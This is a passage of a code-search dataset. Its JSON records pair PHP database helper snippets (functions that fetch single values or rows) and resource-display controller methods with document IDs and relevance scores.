"docid": "6cfefdb70fc225ada0ecacb10a25fd49", "score": "0.6147668", "text": "function fetchValue( $sql='' ) {\r\n\t\t$value=false;\r\n if ($rs = new query($GLOBALS['sysdb'],$sql.((stristr($sql,' limit '))?'':' limit 1'))) {\r\n\t\t\tif ($row=$rs->getrow(0)) $value=(isset($row[0])?$row[0]:false);\r\n\t\t\t$rs->free();\r\n\t\t}\r\n \treturn $value;\r\n }", "title": "" }, { "docid": "52a6a5dae4c978dcbd7d4979008cf92c", "score": "0.61417747", "text": "function get_row_col($db_connection, $table_name, $column, $col_name, $col_value){\n $sql1 = 'SELECT '.$column. ' FROM '.DB_PREFIX.$table_name. ' WHERE '.$col_name.'=:col_value ';\n $stmt1 = $db_connection->prepare($sql1);\n $status = $stmt1->execute( array(\":col_value\" => $col_value) );\n $result1 = $stmt1->fetchColumn();\n return $result1;\n}", "title": "" }, { "docid": "a565758e6a7905ee780034ecdbbde7b6", "score": "0.6140675", "text": "public function single ($query,$params = null) {\n\t\t\t$this->Init($query,$params);\n\t\t\treturn $this->sQuery->fetchColumn();\n\t\t}", "title": "" }, { "docid": "9d765d2bc94195d06bb5036057ddfad3", "score": "0.6140208", "text": "public function selectColumn($sql, $values = array()) {\r\n\t\t\r\n\t\ttry{\r\n\t\t\t$query = $this->pdo->prepare($sql);\r\n\t\t\t$query->execute($values);\r\n\t\t\t\r\n\t\t\t$result = $query->fetchColumn();\r\n\t\t\t\r\n\t\t\t$this->rowCount = $query->rowCount();\r\n\t\t\t\r\n\t\t\treturn $result;\r\n\t\t}catch (PDOException $e) {\r\n\t\t echo 'Error: ' . $e->getMessage();\r\n\t\t\t$this->errors[] = \"Database select error: \" . $e->getMessage();\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "17be15381064d869c701ab8096a0b326", "score": "0.61275625", "text": "function getValue() {\n\t\t$result = mysql_fetch_array($this->result);\n\t\treturn $result[0];\n\t}", "title": "" }, { "docid": "2129c0d388c5fc2b8cb6dd3efbe11297", "score": "0.6123868", "text": "public function fetchRow()\n {\n return $this->fetch();\n }", "title": "" }, { "docid": "d019d2a2911b338c381f3c9f3592f7cf", "score": "0.612353", "text": "public function get() {\n\t\t$query = \"SELECT * FROM $this->tableName\";\n\t\tif ( func_num_args() === 2 ) {\n\t\t\t$columnName = \"\";\n\t\t\t$isValid = false;\n\t\t\t$field_name = func_get_arg(0);\n\t\t\t$field_value = func_get_arg(1);\n\t\t\tforeach( $this->fillable as $field ) {\n\t\t\t\tswitch( $field ) {\n\t\t\t\t\tcase $field_name:\n\t\t\t\t\t\t$columnName = $field;\n\t\t\t\t\t\t$isValid = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif($isValid) break;\n\t\t\t}\n\t\t\t$query .= \" WHERE $columnName = :val\";\n\t\t}\n\t\t$stmt = $this->db->prepare($query);\n\t\tif( @$field_value )\n\t\t\t$stmt->bindValue(\"val\", $field_value);\n\t\tif( !$stmt->execute() )\n\t\t\tthrow new DBException(\"Error getting data from table:$this->tableName.\");\n\t\t$result = $stmt->fetchAll($this->db::FETCH_ASSOC);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "c3c555d3bc9231176853456be594ee30", "score": "0.61082006", "text": "public function getDataRow() {\n //execute the query\n $this->executeQuery();\n \n //get row data\n $row = odbc_fetch_array($this->resultSet);\n \n //if Row is false return null\n if($row === false){\n return null;\n }\n //return data\n else{\n return $row;\n }\n }", "title": "" }, { "docid": "df375f35e0d37a439ca721aef671a786", "score": "0.6105506", "text": "public function queryRow($sql) {\n\t\t$rows = $this->query($sql);\n\t\treturn (count($rows) ? $rows[0] : null);\n\t}", "title": "" }, { "docid": "ce3010da4c3fbd73b7d1999455e69513", "score": "0.6104898", "text": "public function execute($sql)\n {\n $result = mysqli_query($this->link, $sql) or die(mysqli_error($this->link));\n $data = [];\n if ($result) {\n while ($num = mysqli_fetch_assoc($result)) {\n $data[] = $num;\n }\n }\n return $data;\n }", "title": "" }, { "docid": "84b0d0f96338ae46cadbacf8cbaa078e", "score": "0.610156", "text": "public function getOneRow()\n {\n if($this->result)\n {\n $selection = mysql_fetch_row($this->result);\n return $selection[0];\n }\n else \n return $this->result; \n }", "title": "" }, { "docid": "c52bc944ae355d6581ce17514b7123e4", "score": "0.60943806", "text": "function readOne()\n {\n $query = \"SELECT * FROM $this->tableName ORDER BY id_users\";\n\n //Preparamos el query\n $state = $this->conn->prepare($query);\n\n //Ejecutamos el query\n $state->execute();\n\n //return del statement\n return $state;\n }", "title": "" }, { "docid": "9834e7865c58468367f7fd179dbc31bf", "score": "0.6089158", "text": "public function getColValues()\n\t{\n\t\t//IF WANT TO USE FOR $sql\n\t}", "title": "" }, { "docid": "634cf7462bee72ee1674f14e26f6fdf6", "score": "0.60771877", "text": "public function result()\r\n {\r\n $this->execute();\r\n return $this->statement->fetch(\\PDO::FETCH_ASSOC);\r\n }", "title": "" }, { "docid": "db7bb775e1fec2c6313e5a958ccab01a", "score": "0.6072906", "text": "function fetch_value( )\n\t{\n\t\t$num_args = func_num_args( );\n\t\t$args = func_get_args( );\n\n\t\t// get the arguments, if any\n\t\tif (0 != $num_args)\n\t\t{\n\t\t\t$this->clear_arguments( );\n\t\t\t$this->load_arguments($args);\n\t\t}\n\n\t\tif ($this->super_debug)\n\t\t{\n\t\t\techo 'FETCH_VALUE ';\n\t\t\techo '<pre>';\n\t\t\tprint_r($this->get_arguments( ));\n\t\t\techo '</pre>';\n\t\t}\n\n\t\tif (false !== $this->pass_query)\n\t\t{\n\t\t\t$this->query = $this->pass_query;\n\t\t\t$this->query( );\n\t\t}\n\n\t\t$row = @mysql_fetch_row($this->result);\n\t\treturn $row[0];\n\t}", "title": "" }, { "docid": "07d4db96523fc0996ba6b5a3e559d2d3", "score": "0.60710174", "text": "public function fetchSingle() {\n\t\t$result = null;\n\t\tif(!is_null($this->__result)) {\n\t\t\t$result = @mysql_fetch_row( $this->__result );\n\t\t\tif ( $result )\n\t\t\t\t$result = $result[0];\n\t\t\telse\n\t\t\t\t$this->__result = null;\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "7e0e1019877c724d7440f6b0191ac4b8", "score": "0.60588425", "text": "public function fetchRow()\n {\n global $wpdb;\n\n return $wpdb->get_row( $this->composeQuery( false ), ARRAY_A );\n }", "title": "" }, { "docid": "1d8e8e738391fdb56f940bc8c12044aa", "score": "0.6040253", "text": "function getData() {\n\t\t\t$this->loadColumns();\n\t\t\tif (empty($this->data_source))\n\t\t\t\tgp_die('getData(): Could not determine data source');\n\t\t\tif (empty($this->where) || $this->where == '1=1') \n\t\t\t\t$this->buildWhereClause();\n\t\t\t\n\t\t\t$qs = \"\n\t\t\t\tselect *\n\t\t\t\t from $this->data_source\n\t\t\t\t where ($this->where) \n\t\t\t\t limit 1\n\t\t\t\t \";\n\t\t\t$data = gp_one_row($qs);\n\t\t\tassert(is_array($data));\n\t\t\treturn $data;\n\t\t}", "title": "" }, { "docid": "5cc530265a0e5e843d42b7ad6f5ec0b9", "score": "0.6039354", "text": "public function execScalar ($queryString)\n {\n if ($this->conn == null)\n throw new Error ('Connection: Database connection is not open.');\n\n $queryString = $this->filterQuery($queryString);\n if ($this->dbTracing) \\Rose\\trace($queryString);\n\n if (!$this->driver->isAlive ($this->conn))\n $this->open();\n\n\t\t$rs = null;\n try { $rs = $this->driver->query ($queryString, $this->conn); }\n\t\tcatch (\\Throwable $e) { }\n\n if ($rs === false || $rs === null)\n\t\t\tthrow new Error ($this->driver->getLastError($this->conn));\n\n if ($rs === true)\n throw new Error ('Result is not a data set.');\n\n $array = $this->driver->fetchRow($rs, $this->conn);\n\t\t$this->driver->freeResult($rs, $this->conn);\n\n return $array ? $array[0] : null;\n }", "title": "" }, { "docid": "04c63ceb572a827e548fcebb50900b11", "score": "0.6027477", "text": "public function getOne()\n\t\t{\n\t\t\t$this->execute();\n\t\t\treturn $this->stmt->fetch(\\PDO::FETCH_OBJ);\n\t\t}", "title": "" }, { "docid": "3d8d3abc06754df0e3cb671fde782ff0", "score": "0.60198784", "text": "private function fetchData()\n\t{\n\t\t$return = $this->statement->fetch();\n\n\t\tif ($return === true)\n\t\t{\n\t\t\t$values = [];\n\n\t\t\tforeach ($this->rowBindedValues as $v)\n\t\t\t{\n\t\t\t\t$values[] = $v;\n\t\t\t}\n\n\t\t\treturn $values;\n\t\t}\n\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "a8e807cf0efebbe19021a7d0e22ca217", "score": "0.60194373", "text": "public function executeQuery();", "title": "" }, { "docid": "0fffe35b2f9d0b324225c7c11aebdf48", "score": "0.6015477", "text": "function dbFetch ($id_ = \"\") {\n\t\t$sql = \"\";\n\t\t$rsResult = $this->conn->Execute($sql,array($id_));\n\t\tif (!$rsResult->EOF) {\n\t\t\treturn $rsResult->fields;\n\t\t}\n\t}", "title": "" }, { "docid": "e0fdd4ce62c08028c10a652a45adf745", "score": "0.6006873", "text": "public function getSingleResult()\n {\n return $this->getCursor()->getSingleResult();\n }", "title": "" }, { "docid": "e505fbab42c5da1a039429a911c52d45", "score": "0.6003976", "text": "function singleColumn($query, $description = false)\n {\n $res = $this->query($query, $description);\n if (!$res) {\n return false;\n }\n if (!$res->rowCount()) {\n $res->closeCursor();\n return false;\n }\n\n $ret = array();\n foreach ($res as $row) {\n $ret[] = current($row);\n }\n return $ret;\n }", "title": "" }, { "docid": "9d9a89a77c3768dfeabf7366a2d66826", "score": "0.60026807", "text": "abstract protected function getFetchColumns();", "title": "" }, { "docid": "673501a64100b77174a4ce2b268df847", "score": "0.5998688", "text": "public function singleArray(){\n $this->execute();\n\n return $this->_statement->fetch(PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "0b579c0fbc10fcc20fecd09d45c9f016", "score": "0.599797", "text": "public function execute()\n {\n return $this->mapper()->connection($this->entityName())->read($this);\n }", "title": "" }, { "docid": "a31fce6f60b106631c54ff9ee4700f66", "score": "0.5995086", "text": "public function fetchRow()\n\t\t{\n\t\t\treturn $this->result->fetch_row();\n\t\t}", "title": "" }, { "docid": "82516425c05e37b7e59a4cee18ba4bce", "score": "0.5991966", "text": "function Exec() {\n return $this->db->query($this->sql)->result();\n }", "title": "" }, { "docid": "5b892c7f3c87e46f79cf5c44b0e1ece9", "score": "0.5987367", "text": "function FetchRow() {\n if ($this->mysqlL)\n return mysqli_fetch_array($this->recordset);\n else\n return mysql_fetch_array($this->recordset);\n }", "title": "" }, { "docid": "6d06ee67be741e3704b7acc66546c017", "score": "0.59803814", "text": "public function XAGsingle(){\r\n $this->execute();\r\n return $this->stmt->fetch(PDO::FETCH_ASSOC);\r\n }", "title": "" }, { "docid": "1c4bf65e2772f3f83486ca101ddcad13", "score": "0.59768444", "text": "public function execute()\n {\n return $this->_connection->execute($this->_cqlStatement, $this->_bindParams, $this->_bindTypes);\n }", "title": "" }, { "docid": "814a9f935919249b632ee3c190c7b683", "score": "0.5976636", "text": "function getValueFromDB($sql, $col) {\n $query = query($sql);\n if(mysqli_num_rows($query) > 0) {\n while($row = mysqli_fetch_array($query)){\n return $row[$col];\n } \n }\n return false;\n }", "title": "" }, { "docid": "fff31ab0598151c63e740968b7b1c76f", "score": "0.5974019", "text": "public function fetchColumn($sql, $params=array())\n {\n // Delegate to main query method\n return $this->query($sql, $params, self::FETCH_COLUMN);\n }", "title": "" }, { "docid": "573692754743d54b2ce7ce3c8893b029", "score": "0.5968206", "text": "function get_value() {\r\n $rs = $this->query(func_get_args());\r\n if (!$rs) return false;\r\n $row = mysql_fetch_row($rs);\r\n $this->free();\r\n return $row[0];\r\n }", "title": "" }, { "docid": "a3d26f125af5286ec1951446127d2c35", "score": "0.59662956", "text": "public function single(){\n\t\t$this->execute();\n\t\treturn $this->stmt->fetch(PDO::FETCH_OBJ);\n\t}", "title": "" }, { "docid": "9bb4a574643265a94319022f60e1f05c", "score": "0.5961765", "text": "public function fetchResult() {\n\t\tif ($row = sybase_fetch_row($this->results)) {\n\t\t\t$resultRow = array();\n\t\t\t$i = 0;\n\t\t\tforeach ($row as $index => $field) {\n\t\t\t\tlist($table, $column) = $this->map[$index];\n\t\t\t\t$resultRow[$table][$column] = $row[$index];\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\treturn $resultRow;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "aa9685d0d54b3c13e31d7a09a1fc63b0", "score": "0.59615326", "text": "final public function fetch()\n\t{\n\t\treturn $this->getResultWrapper()->get(0);\n\t}", "title": "" }, { "docid": "b2aafa85574a8581fd269b70c454c8d6", "score": "0.5958026", "text": "public function execute($sql){\n\t\treturn $this->driver->execute($sql);\n\t}", "title": "" }, { "docid": "4448f8a8d840791e82bd89e11e9c9a3a", "score": "0.5946006", "text": "public function querySingle($sql, array $params = null){\n $statement = $this->query($sql,$params);\n return $statement->fetch(\\PDO::FETCH_ASSOC);\n }", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" }, { "docid": "6d00977c9b3ab1d6ad4821d89908d134", "score": "0.59458154", "text": "protected function querySingleResult($sqlQuery){\n\t\treturn QueryExecutor::queryForString($sqlQuery);\n\t}", "title": "" } ]
13723369ee210991fbaeff150e6325a0
Display the specified resource.
[ { "docid": "88f27a4009b8d21821fb2461fd58477c", "score": "0.0", "text": "public function show(Payment $payment)\n {\n //\n }", "title": "" } ]
[ { "docid": "165e2bbcf8f47c0adbed93548f33d6c1", "score": "0.8019291", "text": "public function show(resource $resource)\n {\n //\n }", "title": "" }, { "docid": "e5e8acc247b28ba8722842dd97070847", "score": "0.74223363", "text": "abstract protected function makeDisplayFromResource();", "title": "" }, { "docid": "cf7a236473d0b19def52419220a82d95", "score": "0.7193305", "text": "public function show(Resource $resource)\n {\n return $resource;\n }", "title": "" }, { "docid": "b8de278532cf1b2d94016c0cd12737fd", "score": "0.7159185", "text": "public function show(Resource $resource)\n {\n $resource = new ResourceResource($resource);\n return $this->success('Resource Detail.', $resource);\n }", "title": "" }, { "docid": "1981d87b70ebb966cb1a7214c5461ecf", "score": "0.7105166", "text": "function display($resource_name) {\n return include $resource_name;\n }", "title": "" }, { "docid": "815f5613a8189df2880c7c0be463594e", "score": "0.69159317", "text": "public function show(Resource $resource)\n {\n return $this->showOne($resource);\n }", "title": "" }, { "docid": "1be3fb8370513aa7e96f7c3e96fdff88", "score": "0.6462615", "text": "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "title": "" }, { "docid": "bf9855687af595254565be84ecf08da3", "score": "0.6460327", "text": "public function show(Request $request, $resource, $id)\n {\n $command = $this->translator->getCommandFromResource($resource, 'show');\n\n $this->runBeforeCommands($command);\n\n $data = $this->dispatchFrom($command, $request, [\n 'modelClass' => $this->translator->getClassFromResource($resource),\n 'id' => $id\n ]);\n\n $this->fireEventForResource($resource, 'show', $data);\n\n return $this->success($data);\n }", "title": "" }, { "docid": "1cff5c8d606548f28e8af3af4e531294", "score": "0.6286817", "text": "protected function showAction()\n {\n $this->showAction\n ->setAccess($this, Access::CAN_SHOW)\n ->execute($this, NULL, NULL, NULL, __METHOD__)\n ->render()\n ->with(\n [\n 'user_log' => $this->userMeta->unserializeData(\n ['user_id' => $this->thisRouteID()],\n [\n 'login', /* array index 0 */\n 'logout', /* array index 1 */\n 'brute_force', /* index 2 */\n 'user_browser' /* index 3 */\n ]\n )\n ]\n )\n ->singular()\n ->end();\n }", "title": "" }, { "docid": "237d3c90b7035170d5fd20572d1e0dbb", "score": "0.6247061", "text": "public function display( Response $response );", "title": "" }, { "docid": "1e1b2e6a47cd86a471b2f6e43a786d4f", "score": "0.6238523", "text": "public function testShowResourceReturnsTheCorrectResource()\n {\n $items = factory(Item::class, 10)->create();\n $item = $items->get(6);\n\n $this->call('GET', sprintf('/api/v1/item/%s', $item->id));\n\n $this->seeJson([\n 'id' => $item->id,\n 'name' => $item->name,\n ]);\n }", "title": "" }, { "docid": "1b943006f882cdea6214d3238f5094bb", "score": "0.61226845", "text": "public function display($id);", "title": "" }, { "docid": "988fc9380f55f5086ebf1ea38e63511d", "score": "0.61054146", "text": "public function operate()\n {\n echo $this->resource.\"\\n\";\n }", "title": "" }, { "docid": "9cd2c7f88d644fa456e7453c3bb610d2", "score": "0.6069253", "text": "function show()\n {\n $this->display();\n }", "title": "" }, { "docid": "31c91777927cb1b0555e264f1cece7a9", "score": "0.6053162", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array('id' => array('HtmlEntities', 'StripTags', 'StringTrim')); \n $validators = array('id' => array('NotEmpty', 'Int'));\n\n // test if input is valid retrieve requested record attach to view\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams()); \n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Square_Model_Item i')\n ->leftJoin('i.Square_Model_Country c')\n ->leftJoin('i.Square_Model_Grade g')\n ->leftJoin('i.Square_Model_Type t')\n ->where('i.RecordID = ?', $input->id);\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->item = $result[0]; \n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404); \n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input'); \n }\n }", "title": "" }, { "docid": "f1919612984d797496fb91a1df6bfc28", "score": "0.60360175", "text": "public function show(Resident $resident)\n {\n //\n }", "title": "" }, { "docid": "9c46cbbf718572f41d5fb18cb85408df", "score": "0.60352117", "text": "public function viewName($resource)\n {\n return $this->name.'::'.$resource;\n }", "title": "" }, { "docid": "4157890d7ce997c99fc951f60a368f8a", "score": "0.6034318", "text": "public function showResource()\n {\n return new ParceiroResource(Parceiro::find(2));\n }", "title": "" }, { "docid": "5f890361bf8d16515c9463c62dee48f3", "score": "0.602238", "text": "protected function showResourceView($id)\n\t{\n\n\t\t$element = $this->getElements($id);\n\t\treturn Response::view('adm/User/element', array('data' => $element));\n\n\t}", "title": "" }, { "docid": "4b6584e73c632121e7d29d1a53288f08", "score": "0.600146", "text": "public function show(Request $request ,$id){\n \n if($request->session()->exists('resources') && isset($request->session()->get('resources')[$id])) {\n $resource = $request->session()->get('resources')[$id];\n $data = [];\n $data['resource'] = $resource;\n $data['enterprise'] = 'Resources Ltd.';\n \n return view('resource.show', $data); \n \n }\n \n return redirect('resource');\n \n }", "title": "" }, { "docid": "f4584c6fbf6732a4cc30c153518eac85", "score": "0.5962682", "text": "function displayResource($file) {\n\tglobal $mosConfig_lang;\n\t$file_lang = migratorBasePath() . '/resources/' . $file . '.' . $mosConfig_lang . '.html';\n\t$file = migratorBasePath() . '/resources/' . $file . '.english.html';\n\tif (file_exists($file_lang)) {\n\t\techo '<div align=\"left\" style=\"border: 1px solid black; padding: 5px; \">';\n\t\tinclude ($file_lang);\n\t\techo '</div>';\n\t} else if (file_exists($file)) {\n\t\techo '<div align=\"left\" style=\"border: 1px solid black; padding: 5px; \">';\n\t\tinclude ($file);\n\t\techo '</div>';\n\t}\n\telse\n\t\tdie(_BBKP_CRITINCLERR . $file);\n\techo __VERSION_STRING;\n}", "title": "" }, { "docid": "78f674e0991329ee80d8bfe522602ce3", "score": "0.59581137", "text": "public function actionShow()\n {\n $this->render('show', array());\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "51df0e59505572a08a6c3c4ea6558bb4", "score": "0.5942475", "text": "public function showAction()\n\t{\n\t\t$this->loadLayout()->renderLayout();\n\t}", "title": "" }, { "docid": "d0d1f283ce410ec0d9c7e82af4062258", "score": "0.59333754", "text": "public function display(WebResource $res) {\n $view = $res->getView() ?: array();\n switch(count($view)) {\n case 0:\n case 1:\n $viewType = Config::get('view.defaultViewType', 'json');\n break;\n default:\n $viewType = $view[0];\n break;\n }\n $viewMappings = Config::get('view.mappings');\n if (!isset($viewMappings[$viewType])) {\n throw new Exception(\n \"Could not render view by type $viewType\",\n Exception::CODE_PRETTY_VIEW_NOTFOUND);\n }\n $viewName = $viewMappings[$viewType];\n $view = $this->classLoader->load($viewName, true);\n if (!$view) {\n throw new Exception(\"Could not render view by $viewName, view class not found.\",\n Exception::CODE_PRETTY_CLASS_NOTFOUND);\n }\n $view->render($res);\n }", "title": "" }, { "docid": "9c9f166dfbd4a1117126f1616068d929", "score": "0.590676", "text": "public function displayAction()\n {\n\n $domainName = GeneralUtility::getIndpEnv('TYPO3_REQUEST_HOST');\n\n $shortenUrl = $this->urlRepository->findShortUrlByPage($this->currentPage);\n\n if (empty($shortenUrl)) {\n $shortenUrl = $this->generateShortUrl();\n }\n\n $this->view\n ->assign('display', $shortenUrl)\n ->assign('domain', $domainName);\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "e45bfcde7a17ab2a4f6f9e2caad01271", "score": "0.5883924", "text": "function display()\n\t{\n\t\t// Set a default view if none exists\n\t\tif ( ! JRequest::getCmd( 'view' ) ) {\n\t\t\tJRequest::setVar('view', 'category' );\n\t\t}\n\n\t\t$layout = JRequest::getCmd( 'layout' );\n\n\t\tif ($layout == 'form') {\n\t\t\tJError::raiseError( 404, JText::_(\"Resource Not Found\") );\n\t\t\treturn;\n\t\t}\n\n\t\t$view = JRequest::getVar('view');\n\n\t\tparent::display(true);\n\t}", "title": "" }, { "docid": "6f20a1779e33227cfc4451ace6ab29af", "score": "0.5864878", "text": "public function edit(resource $resource)\n {\n //\n }", "title": "" }, { "docid": "e278522937d7847767c9d2ff92455995", "score": "0.5863409", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n ); \n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams()); \n \n // test if input is valid\n // retrieve requested record\n // attach to view\n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Tripjacks_Model_News i')\n ->where('i.newsid = ?', $input->id);\n\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->news = $result[0]; \n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404); \n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input'); \n }\n }", "title": "" }, { "docid": "8c62873548eaa44202c0ae405fd7d4b3", "score": "0.58593535", "text": "public function resolveForDisplay($resource, $attribute = null)\n {\n $this->prepareLines($resource, $attribute);\n }", "title": "" }, { "docid": "bf80668121276aa95e552b7e16de0410", "score": "0.58592206", "text": "public function display() \n\t{\n\t\t\n\t\tparent::display(); \n\t}", "title": "" }, { "docid": "f0ce504b8c6c28b59b1b83da05a1e7ee", "score": "0.58354145", "text": "public function show($imageResource) {\n\t\theader('Content-type: image/png');\n\t\theader('Content-disposition: inline');\n\t\timagepng($imageResource, null, 0);\n\t}", "title": "" }, { "docid": "1b6934d948dba93be88f01d4f4cde49a", "score": "0.58158535", "text": "public function display($context);", "title": "" }, { "docid": "bcb7bd8aa9f807e36423f26674169bf6", "score": "0.5785241", "text": "public static function resource($resource, $controller, $options) {\n \n }", "title": "" }, { "docid": "06a412168984820a16a8be534a2d85f1", "score": "0.57841134", "text": "public function display()\n\t{\n\t\theader('Content-type: image/png');\n\t\timagepng($this->_imageResource , null , 5 );\n\t}", "title": "" }, { "docid": "55ebb313f26c5900b8cfe594dfa4e5eb", "score": "0.57751614", "text": "public function display() {\n\t\techo $this->render();\n\t}", "title": "" }, { "docid": "2543e47f21a6d16ac7911a7ed2e24588", "score": "0.5771402", "text": "public function showAction()\n {\n //loads the artist\n $artist = $this->_getArtistById($this->_getParam('id'));\n \n //sends it to the view\n $this->view->artist = $artist;\n \n //loads and sends its albums to the view\n $this->view->albums = $artist->findDependentRowset('Model_Album');\n }", "title": "" }, { "docid": "a1ebeebfc498c76d0c8996e04e37ac78", "score": "0.5764601", "text": "public function show(){\n $this->init();\n $this->load(self::class);\n }", "title": "" }, { "docid": "41311b65a90295f931830bf21bc118c5", "score": "0.57608664", "text": "public function DisplayResources($resource_IDs) {\n \n //Variables for the pagination\n $limit_offset = $this->CPagination->limit_offset;\n $limit_maxNumRows = $this->CPagination->limit_maxNumRows;\n \n //Get resources\n $result = $this->MDatabase->GetResources((int) $limit_offset, (int) $limit_maxNumRows, $resource_IDs);\n \n //If nothing is returned, say so and end here\n if(!$result) {\n echo 'No results.';\n return;\n }\n \n //Initiate the variable that will contain all the output\n $output = '';\n \n //Display the resources one by one\n while($row = $result->fetch_array()) {\n $output .= '<div class=\"resource\">';\n \n $title = htmlspecialchars($row['title']);\n $resource_type = htmlspecialchars($row['resource_type']);\n $description = htmlspecialchars($row['description']);\n $publishing_date = htmlspecialchars($row['publishing_date']);\n \n $output .= \"<h3>\" . $title . \"</h3>\";\n $output .= \"<table class='resource_info'><tbody>\";\n $output .= \"<tr>Type: \" . ucwords(strtolower($resource_type)) . '</tr>';\n $output .= ' <tr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href=\"#\" class=\"tooltip\">'\n . '<img src=\"img/information-icon-small.png\">'\n . '<span><img class=\"callout\" src=\"img/callout_black.gif\" />'\n . '<strong>Description</strong><br />' . $this->Parsedown->text($description)\n . '</span></a></tr>';\n \n /* Get and display the URLs */\n $output .= $this->DisplayURLs((int) $row['resource_id']); \n \n //Clear the float\n $output .= '<div class=\"clear\"></div>';\n \n /* Display the publishing date, if it exists */\n $output .= $publishing_date ? \"<tr>Publishing Date: {$publishing_date}</tr>\" : '';\n \n /* Get and display the authors */\n $output .= $this->DisplayAuthors((int) $row['resource_id']);\n\n /* Get and display the keywords */\n $output .= $this->DisplayKeywords((int) $row['resource_id']);\n \n $output .= '</div>'; //close the class=\"resource\" div\n }\n \n echo $output;\n }", "title": "" }, { "docid": "64ca047c763cbf564dd5de6f46e00c8a", "score": "0.5757105", "text": "public function display(){}", "title": "" }, { "docid": "e9b2cd8fa004ddb7b0d9e03744f3126f", "score": "0.57506883", "text": "public function display()\n {\n $return = $this->fetch();\n echo $return;\n }", "title": "" }, { "docid": "2c3490c6d6b2073fd195968f652e07c5", "score": "0.57488596", "text": "public function render()\n {\n $rows = $this->resource->model()::all();\n\n $title = Str::of($this->resource->name())->plural();\n\n return view('moon::resources.index', [\n 'title' => $title,\n 'columns' => $this->resource->columns(),\n 'rows' => $rows\n ])->layout('moon::layouts.app', ['title' => $title]);\n }", "title": "" }, { "docid": "b817fe8afcad697af904cbcdb8688cef", "score": "0.57483834", "text": "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('AVBundle:Reto')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Reto entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('AVBundle:Reto:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "c0a70a08a2849ac13def6ed6304e58da", "score": "0.5743798", "text": "public function show(): UserResource\n {\n return $this->repository->show();\n }", "title": "" }, { "docid": "c952768f11b98a6aed12e59d779b7efa", "score": "0.57387173", "text": "public function display() { echo $this->render(); }", "title": "" }, { "docid": "9aee1654836904270de00365634a70fd", "score": "0.57323885", "text": "protected function show($param) {\n $method = 'show_' . $param;\n if (method_exists($this, $method)) {\n $this->$method();\n } else {\n $this->error('Invalid command argument!');\n $this->help();\n }\n }", "title": "" }, { "docid": "c7ce15d35acae8f764d0adba3a337cb0", "score": "0.57273036", "text": "public function display($file) \n {\n echo $this->fetch($file); \n }", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": 